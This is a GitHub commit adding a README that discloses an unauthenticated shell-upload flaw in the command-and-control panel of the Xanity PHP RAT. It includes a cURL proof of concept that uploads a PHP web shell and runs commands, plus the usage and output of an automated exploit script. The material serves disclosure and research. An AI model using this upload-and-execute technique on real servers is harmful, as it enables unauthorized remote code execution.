Skip to content

Commit dd427fb

Browse files
author
David Davidson
authored
Create README.md
1 parent a3508d9 commit dd427fb

File tree

1 file changed

+27
-0
lines changed

1 file changed

+27
-0
lines changed

Xanity-Shell/README.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# TorCTPwn
2+
3+
I was having a look at the C&C panel of the [Xanity RAT](https://github.com/alienwithin/xanity-php-rat) for a bit of amusement, and noticed that it suffers an absurdly trivial shell upload vulnerability, outlined below.
4+
5+
See: [upload.php](https://github.com/alienwithin/xanity-php-rat/blob/master/server-files/upload.php) and note we can upload whatever the hell we want to a place with whatever name we want. Trivial shell upload with no auth or anything.
6+
7+
PoC using cURL:
8+
```
9+
$ curl -F name=lol.php -F file=@/tmp/lol.php http://localhost/upload.php?d=lol
10+
1
11+
$ curl http://localhost/lol/lol.php?1=id
12+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
13+
$ curl http://localhost/lol/lol.php?1=uname
14+
Linux
15+
$
16+
```
17+
18+
For shits and giggles, there is also an automated exploit for this in this repo.
19+
```
20+
$ python xanity-pwn.py
21+
use: xanity-pwn.py http://xanity.skids/upload.php /your/shell.php
22+
$ python xanity-pwn.py http://localhost/upload.php /tmp/lol.php
23+
[+] Shell Uploaded! It should be in: http://localhost/lol/lol.php
24+
$ curl http://localhost/lol/lol.php?1=id
25+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26+
$
27+
```

0 commit comments

Comments
 (0)